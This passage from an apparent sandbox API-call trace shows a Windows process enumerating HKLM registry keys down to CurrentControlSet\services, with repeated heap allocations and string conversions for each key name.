(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.789] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0232.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0232.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.789] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0232.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0232.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.789] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0232.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0232.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.789] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0232.789] RegCloseKey (hKey=0x80000002) returned 0x0 [0232.790] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0232.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0232.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.790] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0232.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0232.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.790] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0232.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0232.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a48, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0232.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.790] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0232.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0232.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.791] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0232.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0232.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.791] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0232.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0232.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.791] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0232.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0232.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.791] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0232.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0232.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.792] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0232.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0232.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0232.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.792] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0232.792] RegCloseKey (hKey=0x148) returned 0x0 [0232.792] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0232.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0232.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.792] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0232.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0232.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.793] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0232.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0232.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0232.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.793] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0232.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0232.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.793] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0232.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0232.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.793] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0232.793] RegCloseKey (hKey=0x150) returned 0x0 [0232.794] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0232.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0232.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.794] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0232.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0232.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1928, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0232.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.794] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0232.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0232.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a48, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0232.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 